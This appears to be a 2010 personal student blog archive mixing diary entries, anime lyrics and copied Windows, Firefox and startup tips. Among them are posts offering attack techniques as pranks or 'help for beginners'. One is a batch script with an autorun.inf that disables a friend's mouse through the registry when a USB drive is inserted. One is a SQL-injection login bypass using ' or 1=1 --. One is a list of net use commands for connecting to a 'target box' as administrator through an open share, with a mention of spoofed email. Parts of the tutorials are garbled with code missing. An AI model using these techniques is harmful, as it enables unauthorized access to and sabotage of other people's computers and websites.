Friday, May 28, 2010 license

ahaha..i can't go out today actually...with the date 30/04/2008 - 29/04/2010 i miss a chance to renew the "valuable card" for the due date, .. so for today in the morning, i can't go "penang" with my i make a deal with my fwen to hold me until we reach at the destination that we're desire most, and i have to think bout paying the bill to da police/jpj wahaha......and after that i'll think bout to renew my license too....

such a clumsy in me...
hope that (sekolah menengah teknik seberang perai)smtsppp would open ups da big gate for me and for my fwen....

Tuesday, May 25, 2010

Disable Your Friend’s Mouse Whenever USB Disk Is Inserted

Batch scripting is really easy and so much a fun. You can learn and imagine so many things from batch and shell scripting.

In this short time pass tutorial, I am going to show you how to disable your friend’s mouse whenever your USB drive is inserted.

To get this feature working, you must make sure that your friend has not disabled autorun for removable media. However you may get this to work by creating a fake icon for the batch program.

As we did with our previous tutorial about copying files automatically, we’ll be using same principle here. First we’ll create a batch file and then we’ll be creating autorun.inf file. Then we’ll be pasting it in the root of USB drive. Now whenever the USB drive is inserted, system will look for autorun.inf. Autorun.inf will execute that batch file disabling the mouse.

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

Copy the above code in notepad and save it as “filename.bat”

The above code will disable the mouse by deleteing the registry key of Mouclass and again adds data = 0×00000004 to the valuename = “Start”

Note: The above image is only demonstrates where the action will be taken by the above batch script. It has to do nothing with the procedure of this tutorial.

Action=Mouse Disable

The above code goes for autorun.inf. Open notepad, copy and paste the above code in it and save it as “autorun.inf”.

Now copy both of the file in your or your friend’s USB drive. Then let it do the magic.

To re-enable the mouse you’ll just have to change the value 0×00000004 to 0×00000001. To do so, simply create another batch file with following script:

@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1

Change Windows Logon Screen, IE8's Title Bar, and Aero Snap

1. Change Your Logon Screen Background
Changing the wallpaper on your desktop is one of the easiest things to do in Windows. But if you can have that display any image you want, why not do the same with your logon screen?
1. Navigate to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
2. Find the "OEMBackground" key; or right-click in the right pane and select "New," then "DWORD (32-bit) Value" to create it (and then give it that name).
3. Double-click on "OEMBackground" to open it.
4. Change the value in the "Value data" field to 1.
5. Click OK.
6. Using Windows Explorer, navigate to your Windows directory, then System32\oobe. If there's a folder in here called "info," go into it; if there's a folder inside of that one called "backgrounds," go into that. If neither exists, you'll need to create them both first.
7. Copy the image (it must be a JPEG, and smaller than 256KB in size) you want to use as your logon screen background into the info\backgrounds folder.
8. Rename the image backgroundDefault.jpg. (Note: If you choose an image that's sized differently than your desktop and you change your resolution, it will be adjusted to fit—with a possible loss in quality. The info\background folder also supports 12 other files of specific resolutions. The files should be named backgroundXXXXX.jpg, where the XXXXX is one of the following: 900x1440, 960x1280, 1024x1280, 1280x1024, 1024x768, 1280x960, 1600x1200, 1440x900, 1920x1200, 1280x768, or 1360x768. For example, background1920x1200.jpg will be used at 1,920-by-1,200 resolution, and so on.)
The next time you restart your computer, or log out, you'll see this image as the new logon screen. If you chose an image that prevents the buttons and text from looking their best on the logon screen, you can adjust their appearance as well.
1. Navigate back to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Authentication\LogonUI (you're not going into Background this time).
2. Add a DWORD value called "ButtonSet."
3. Change its value to either 1 (darker text shadows and lighter buttons, intended for lighter backgrounds) or 2 (no text shadows and opaque buttons, for darker backgrounds); 0 is the Windows default.

7 Windows 7 Registry Hacks - IE8 Title Bar
2. Personalize the IE8 Title Bar
If you use Internet Explorer 8 in Windows 7, you're probably familiar with the browser's title bar, which appends "Windows Internet Explorer" to the end of every page name. Why not change it to something a little more... you?
1. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main.
2. Right-click in the right panel, click "New," and then select "String Value."
3. Name the string value you just created "Window Title" (space included).
4. Double-click on Window Title.
5. Type your personalized title in the "Value data" field.
6. Click OK.

3. Turn Off Aero Snap
Implemented as an easier way to arrange windows on your desktop, Aero Snap will automatically maximize a window if you drag it to the top of the screen, or resize a window to use exactly half your display's width if you drag it all the way to the left or the right. If you don't find this feature convenient, you can disable it.
1. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop.
2. Scroll down to "WindowArrangementActive" in the right-hand pane, and double-click it to open it.
3. Change the number in the "Value data" field from 1 (Aero Snap is enabled) to 0.
4. Click OK.

Taskbar Tweaks

4. Change Taskbar Button Stacked Window Behavior
By default, the Taskbar groups together multiple windows of a single app, then displays all of them as thumbnails when you click on the program's Taskbar icon. If you think it would be more handy to have Windows automatically open the last window when you click the icon, you can make that happen.
1. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\
2. Right-click in the right pane, and select "New" then "DWORD (32-bit) Value."
3. Rename the new DWORD value "LastActiveClick."
4. Double-click on LastActiveClick to open it.
5. Change the value in the "Value data" field to 1.
6. Click OK.

7 Windows 7 Registry Hacks - Taskbar Buttons
5. Change the Width of Taskbar Buttons
Windows 7 is set up to always combine Taskbar buttons from the same program and never display their labels. If, however, you've changed the setting to either not combine the windows at all or to only combine them when the Taskbar is full, you can change the icons' width to hide the labels there, too. Here's how.
1. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
2. Scroll to find the "MinWidth" entry. If it's not there, you'll have to create it yourself. Right-click in the right pane, select New, then Select "String Value," and name the object MinWidth.
3. Double-click MinWidth to open it.
4. Change the number in the "Value Data" field the width you want to allot to the icons. With the default small buttons, 38 is sufficient; with the larger icons, you'll want about 52.
5. Click OK.

6. Change the Delay Time of Taskbar Previews
Among the cooler features in Windows 7 are Taskbar previews, which appear when you hover the mouse cursor over the Taskbar icon of a currently running program. But when you do this, the preview doesn't appear immediately. Luckily, it's easy to speed it up (r, for whatever reason, slow it down.
1. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\
2. Right-click in the right pane, click "New," and click "DWORD Value" or "DWORD (32-bit) Value."
3. Name the new DWORD "ExtendedUIHoverTime."
4. Double click on ExtendedUIHoverTime to open it.
5. Click the "Decimal" radio button in the "Base" section. In the "Value data" field, enter the delay time (in milliseconds) for the preview to appear. (The Windows standard is 400ms.)
6. Click "OK" to commit the change.
When you hover the mouse cursor over one of the previews, all your other windows will disappear and show just that window. There's a delay associated with this, too. To change this, add a new DWORD in the same location called "ThumbnailLivePreviewHoverTime," and edit it the same way as above, setting its value to whatever you want (in ms).

7. Change the Delay Time of Aero Peek
Aero Peek is Windows 7's sleeker replacement for the old Show Desktop button. Just move your mouse cursor over the icon at the right end of the Taskbar to turn all your Windows invisible. But this, too, has a delay time associated with it, so if you find yourself accidentally activating it too often, you may want to increase the delay time. Here's how.
1. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\
2. Right-click in the right pane, click "New," and click "DWORD Value" or "DWORD (32-bit) Value."
3. Name the new DWORD "DesktopLivePreviewHoverTime."
4. Double click on DesktopLivePreviewHoverTime to open it.
5. Click the "Decimal" radio button in the "Base" section. In the "Value data" field, enter the delay time (in milliseconds) for the preview to appear. (The Windows standard is 1,000ms.)
6. Click "OK" to commit the change.

12 Windows 7 Shortcuts

Taskbar Shortcuts

Scroll through taskbar icons. Want to cycle through all the programs you have open without calling up Flip3D (with Windows key+Tab, in case you'd forgotten)? Windows key+T will guide you through all of your open programs and let you see their window thumbnails, but won't change what the rest of the screen is showing.

Start a new instance of an app. Changes made to the taskbar mean that clicking on a program icon placed there won't automatically start up a new instance of it. Instead, clicking will just show you what windows of it you already have open. But if you Shift-click or click the middle mouse button on a program's taskbar icon, you can start up another instance.

Start an elevated instance of an app. You can run a program with administrative credentials even if you're not logged into an administrator-level account. Shift-Ctrl-click on a taskbar icon to open an elevated instance of that app.

Close a taskbar thumbnail. There's a red X icon in the upper-right corner of each taskbar thumbnail window that you can use to close that window. Want an even quicker way? Click the middle mouse button on it.

Restore the last active window. New taskbar groupings make it easier than ever to organize the programs you have open in Windows 7. But there's a way to speed up the process even more. Ctrl-click on a taskbar group to open the last active window in that group. Keep clicking to cycle through all the windows you have open.

Open a Jump List. One of the most helpful new features of Windows 7 are Jump Lists, which give you instant access to frequently used commands. There are two ways top open them: Either right-click on a taskbar icon, or left-click and drag it upward.

Arrange windows with Snap. Windows 7's new Snap capability lets you arrange your windows in several cool ways, depending on where you drag them on the screen. But you need your mouse. With any open window, hold down the Windows key and then press an arrow key to cause the appropriate Snap behavior. Use Windows key + Up Arrow to maximize the window; Windows key + Left Arrow or Right Arrow to make the window fill either the left or right half of the screen; or use Windows key + Down Arrow to minimize the window, or restore it to its original size if it's been maximized.

Make all open windows invisible. With Aero Peek, moving the mouse pointer to the lower-right corner of the taskbar will make all your open windows turn invisible so you can see straight through to your desktop. To do this without your mouse, press Windows key+space bar.

Minimize all but the active window. Sometimes the best way to clear your head is by clearing your desktop of everything except what you're looking at. This is easy to do in Windows 7: Hit Windows key+Home to minimize every window except the one that's currently active.

Move a window to another display. Multiple-display setups can be a great convenience, but arranging your windows between them is sometimes challenging. Not in Windows 7. Hold down Shift and the Windows key with either the Left or Right Arrow key to send the window automatically to the display (or projector) in that position.

Use the magnifier. If you're having trouble seeing portions of the screen, whether because of vision problems or because you're running at too high a resolution for a specific task, pressing Windows key+Plus key will start up Windows' magnifier option and let you zoom in on your display. To make everything look smaller again when you're finished, hit Windows key+Minus key.

Set projection options. If you're using your Windows 7 PC with a projector, you can easily change your display options by hitting Windows key+P. You'll be given choices to display on just your computer or just the projector, show the same thing on both, or extend your projection.

Saturday, May 22, 2010

Appeal paper.....dont want it happen again..

appeal(examination paper)^2, a grade criterion that i must fulfill to accept the past paper...depend on subject that i've learned, maybe 1.1 until 4.1 and so on....
dont want to describe bout this matter...NQF matter....

today i'm gonna go back to my college,KPMSI PERAK i've appeal paper(MFR) hard to think bout it, i wanna rest rest and rest, but quiet this happen at last..

to concrete, i', so heavy at calculation subject that's why..(dont ask me yeah!!)......but, at least i dont ave to take the overall paper, or repeat so kay for me..:)

left(my picture..3rd semester 2009)

so tired, for the first, im planning go to college by motorcycle but the can say that's a long distance la...about 256km.or more.i can't expect that...i dont ave pump and inner spare get ready if anything happens due hanging in i decided to take a bus...she's also encourage me to take bus, because she's so worried bout me..hehe"i'll appreciated that for sure"...

Friday, May 21, 2010

Mozilla Firefox using best shortcuts keys?

In Mozilla Firefox, you can use the combination of different keyboard keys to accomplish your routine task. With shortcut keys, you can speed up your surfing without lifting your hands from the keys; otherwise require a conventional mouse to select menus and buttons options. Basically keyboard shortcuts keys help you to save time and you can perform any tasks without leaving the keyboard keys.

Useful Mozilla Firefox shortcuts keys

Shortcut keys Action

CTRL+A Selects the all items on active page

CTRL+B Display the "Organize Bookmarks" dialog box

CTRL+D Include the active page to your Bookmarks list

CTRL+F Display the "Find" dialog box to search text

CTRL+I Display the Bookmarks pane

CTRL+H Display the History sidebar of Mozilla Firefox

CTRL+N Use to open new Mozilla Firefox page

CTRL+P Use to print the active web page

CTRL+R Use to reload the active web page

CTRL+T Display a new Tab in active Firefox window

CTRL+U View the source code of active web page

CTRL+W Closes the active Mozilla Firefox window

CTRL++ Use to increase the font size of active page

CTRL+ - Use to decrease the font size of active page

CTRL+Tab Move to next Tab in Mozilla Firefox

ALT+Home Use to open the home page of internet explorer

ALT+Left Arrow Go to previous page of active page

ALT+Right Arrow Go to next page of active page

ALT+B Go to Mozilla Firefox Favorites Menu

ALT+D Go to address bar of current Firefox page

ALT+E Go to Mozilla Firefox Edit Menu

ALT+F Go to Mozilla Firefox File Menu

ALT+S Go to Mozilla Firefox History Menu

ALT+T Go to Mozilla Firefox Tools Menu

ALT+V Go to Mozilla Firefox View Menu

Tab Move forward between all items on active web page

F5 Refresh the active web page

F7 F7 activate the cursor to move with keyboard

CTRL+SHIFT+DEL Use to clear all Private Data history

CTRL+SHIFT+D Use to Bookmarks all Firefox Tabs
F11 Press F11 key to view any webpage in full-screen view and then again press for normal view.

How to Format a Windows Vista Laptop

Step 1
Insert the Restore disc into the CD/DVD drive. This has to be a Windows disc, and either a retail full version of Windows or a restore disc for that specific Windows Vista laptop.

Step 2
Restart your laptop.

Step 3
Strike the "F2" key at the top of your keyboard, or whichever "F" key lets you choose the Boot Order in order to select the disc drive.

Step 4
Choose "Advanced" instead of "Standard" installation, which will bring you to a screen showing the hard drives you have installed in your Windows Vista laptop.

Step 5
Click on each and any drives installed and choose the "Format" button on the bottom. Once the format finishes, proceed to any remaining drives and continue the process.

How to Format a Laptop Without a Windows Disc

Unlike people, when computer systems start acting up, a clean format usually takes care of the problem. Sometimes it is necessary to reformat a computer if the system becomes too slow, unstable or is infected with malware. A Windows disc makes this process much easier, but it isn't absolutely necessary. Learn one method for formatting a hard drive without a Windows disc.

step 1
Back up all important data. Formatting a drive erases the data, so back up anything that is important to you onto another hard drive or CD and DVD-Rs.

Step 2
Remove the hard drive you want to format from your computer. It is difficult to format the primary partition (containing operating system) from a computer while running.

Step 3
Attach the hard drive you want to format as an external drive using an external hard-drive USB case. Alternatively, you could boot from a secondary drive if it also contains an operating system.

Step 4
Navigate to "Control Panel," then " Disk Management." You can also type compmgmt.msc in the "Run" command line.

Step 5
Select the attached hard drive you want to format and choose "Format this partition."

upLaptop Performance and Use Less Power?

(This tip has not been guaranteed to work - but it makes sense.)

Want to make your laptop computer more powerful and have it use less electricity? Impossible, you say? Perhaps not.

Remember that when you use a modern operating system and run out of memory for your software, the operating system swaps out part of the memory to the hard disk to free up the memory for more tasks. If you run several programs at once or have little RAM, this swapping can occur constantly, slowing the computer down.

Now, note that the laptop's hard drive is a power drain on your battery. The more you must use the hard drive, the more the laptop uses the battery.

Naturally, it would seem that if you increase the RAM on your laptop, you would reduce the amount of memory swapping. This will increase your computer's performance, and since your hard drive will be accessed less, could improve your battery life.

How Can you Speed up Windows Start up ?

Slow startup is the most common objection that Windows users have. As time goes on, your PC seems to take longer and longer to boot, until it reaches a point when you can finish a cup of coffee while it reaches the desktop and is functional! This article will show you a few tips and tricks that you can use to maintain your PC at top notch condition – and ensure that it boots up quite faster than normal.

1. Defragment your system
This is the most important system maintenance action for your PC. Defragmentation not only cleans up more space in your system by placing frequently used files near each other – it also lowers booting time by clumping various boot files together. Thus, a system defragment is the first order of the day if you want quicker boot times.

2. Tweak BIOS settings
This is another way to speed up Windows startup. Typically, you have to press F10/F1/Delete keys (depending on your model) during the initial startup screens to get into the BIOS settings. Once you are in, you can do either of the following:

1. Quick Power on Self Test
This is also called POST – and it simply means that your PC will run a shorter and quicker test than the typical, lengthier one.

2. Floppy Seek on Boot Up
This is an obsolete feature that requires your system to check for a floppy drive on boot up – something which you can turn off without any qualms.

3. Delay on Boot
This feature means that your system waits for sometime to let your hard drive kick into action. However, in most cases, this redundant and you can turn this feature off.

3. Registry maintenance
As time progresses, and we install and uninstall umpteen number of programs on our PC, the residues of these programs in the system registry begin to clog it up. Hence, it is advisable that you download a registry maintenance software from the web and clean up your registry from time to time. [You can use CCleaner (freeware) or Registry Mechanic ($29.95).]

Hack a Password Protected Websites

Hack a Password Protected Websites

If you posess the HTML & JAVA knowledge then u can even acess password protected websites.

To hack a Password Protected Websites just follow these steps: -

* Open the website u want to hack. Provide wrong username-password.
(e.g : Username - me and Password - ' or 1=1 --)
An error occured saying wrong username-password. Now be prepared
ur work starts from here...

* Right click anywhere on that page =>> go to view source.

* There u can see the html codings with javascripts.

* There u find somewhat like this..

* Before this login information copy the url
of the site in which you are.(e.g :

* Then delete the java script from the above that validates ur
informaiton in the server.(Do this very carefully, ur success to
hack the site depends upon this i.e how efficiently u delete the
Javascripts that validate ur account information)

then look for...code ..: input name="password" type="password"
=> replace
there instead of . See there if
maxlength of password is less than 11 then increase it to 11
(e.g : if then write

* Just go to file => save as and save it any where within
the hardisk with ext.html(e.g :c:hack.htm)

* Close ur webpage and go to the webpage u save in your
harddisk(e.g : c:hack.htm) Open it.

* U see that some changes in current page as compared to original
One. Don't worry.

* Provide any username[e.g:hacker] and password[e.g:' or 1=1 --]

Congrats!U hav cracked the above website and entered into the
account of Ist user saved in the server's database.

☺ ☺ ☺ ☺ The above trick doesn't work on the websites using latest
technique to protect there servers. ☺ ☺ ☺ Enjoy ☺ ☺ ☺ ☺ ☺


juz wanna help beginners.. So i am Posting This....

Useful Things to do on CMD!

First, open your Network Connection and right click and select Properties. Then Select TCP/IP and click on Properties again. Now Click on Advanced and WINS tab. Select Default for NeBIOS.

Now back to the main Local Area Connection window, select File and Print Sharing for Mic*ft Networks and hit enter.

This is just to make sure you have NetBIOS enabled. We will have some fun with NetBIOS on CMD.

First thing you need to know is some very helpfull commands to use on CMD(Command Prompt).

In case you don't know how to get CMD open in your box, then click on Start, then Run, then type "cmd" (no quotes, off course... you know the drill).

Back to commands:
net view
net use
net user

In case you don't know some of them, then just type the command on CMD and hit enter. A little help will show up in your screen. Read it and understand what the command does.

Lets start easy...

1) ping : This command will allow you to know if the host you pinging is alive, which means if it is up at the time of executing the "ping" command.

ping x.x.x.x (x is the IP address)


ping ( is the website you want to ping, but you don't know the IP)

OBS: Keep in mind that if the host you pinging is blocking ICMP packets, then the result will be host down.

2) nslookup : This command has many functionalities.
One is for resolving DNS into IP.
Lets say you know the website URL but you don't know its IP(and you want to find out).

nslookup ( is the website you want to find out the IP)

Now, another really nice function of nslookup is to find out IP of specific Mail Severs

nslookup (enter)
set type=mx (enter)

This command will give you the mail server IP of You can use whatever server you want and if it is listed on DNS, then you get the IP. Simple, isn't it?

OK, now why would you want to have an IP of a mail server?
To send spoofed mail to your friends or even for SE.
In case you looking for "How to spoof email", then look for my "How to spoof email tutorial"

3) tracert : This command will give you the hops that a packet will travel to reach its final destination.

OBS: This command is good to know the route a packet takes before it goes to the target box.

tracert x.x.x.x (x is the IP address)


tracert ( is the website you don't know the IP)

4) arp : This command will show you the arp table. This is good to know if someone is doing arp poisoning in your LAN.

arp -a

5) route : This command will show you the routing table, gateway, interface and metric.

route print

6) ipconfig : This command will show tons of very helpful things.
Your IP, gateway, dns in use.


ipconfig /all

this command will give all that info but for all networks you might have it.

Also, in case you have a dynamic IP and want to change it, then type...

ipconfig /release (this will release your IP)

ipconfig /renew (this will renew your iP)

OBS: Keep in mind that those commands will change your IP, but the new IP will still be tighed up to you. So don't do anything stupid.

7) netstat : This command will show you connection to your box.



netstat -a (this will show you all the listening ports and connection with DNS names)
netstat -n (this will show you all the open connection with IP addresses)
netstat -an (this will combined both of the above)

net view x.x.x.x or computername (will list the available sharing folders on the target box)

Now some hints:

net use \ipaddressipc$ "" /user:administrator

(this command will allow you to connect to the target box as administrator)

Now if you want to connect to the target box and browse the entire C drive, then use this command:

net use K: \computernameC$
(this will create a virtual drive on your "my computer" folder)

OBS: Keep in mind that this will only works if the target box doesn't have an administrator password set.

And least but not last, the "help" command.

whatevercommand /help


whatevercommand /?

This command will help you to understand what it does and all the switchs available for each command.
Very useful if you know the command, but forgot the right switch.

Monday, May 17, 2010

Aku bengang la!!!!!!!!!!!!!!!!!!!!!!!!!

i waannnnaa peace!!! or you wanna peacce for meeee..!!!! WTHack!!!!

woi ang nk mampus ka!!!
awat ang xpuas ati cmna???
ang ingat aku ni apa????

Mangkuk Ayyyunnn bErtinDih gila Talak!!!!!

aku ni lebih BAik aku diam diri ja lagi bagus daripada aku dok wat bising .....

baru korang tahu aku sap....

camni lah masalah aku bila dalam diri aku xtahu nk kata apa lagi cmna tahhhh.....
kenyataan poerasaan nihh......


tension!!!...tensioonnn!!!!...tensiioooNN!!!!! warghhh!!!!!...

I wanna HAck You...i Promise!!!!!!!....

Monday, May 3, 2010

what da Hack....!!!!!!

owh no man!...why suppose my OB assignment not fullfill that past criteria!....ahehehe, that's my own fault!...
im not doing that well.....and i....wait and see...!!!

Kimi Ni Todoke....reaching you..ahehehe

In that gentle spot warmed by the sun, the chime is delayed
The wind brushing my cheeks turns into my deep breath

Roundabout tears, the tomorrow we named
Are all overlapping future-colored lines

These childish feelings
The days we laughed together happily
I hope we come to treasure them
You surpassed this disconnected time
And gave me lots of firsts
I'll connect them to you, I'll reach you

The after school sunset, your back, as you're laughing
Secret whispers, inside these untouched feelings

The you inside of me, and the me inside of you
Are all interweaving future-colored lines

The smell of the town after the rain
And the dream-like secret I hold in my heart
So many times I've felt like crying, but then laughed instead
Rather than thinking about it, hurry up
It's fine if you just fly into my heart
To connect to you, to reach you

n front of you, cherished more than anyone
is someone who cherishes you so that you won't get hurt, that's right, it's me
Even if your words somehow become "goodbye" instead
Everything will be as it is

These childish feelings
The days we laughed together happily
I hope we come to treasure them
I'll become just a little grown up
Surpassing the me that wants to be just like you
To connect to you
Right now
to reach you....(end lyric)

reaching you, my target now on..feelin so shy in you that not case for me..
as im cherish you with sunset flower blossom, near you..
you such a kids, make me felt better..future we dont know??
hold my hand tight, and i'll show you the right path....
is that anyone hurt you?, is that me among them?...that's not correct...
i'll treasure you as first met...fullfill my dream, your dream inside you and me..and now..try reaching you..(end)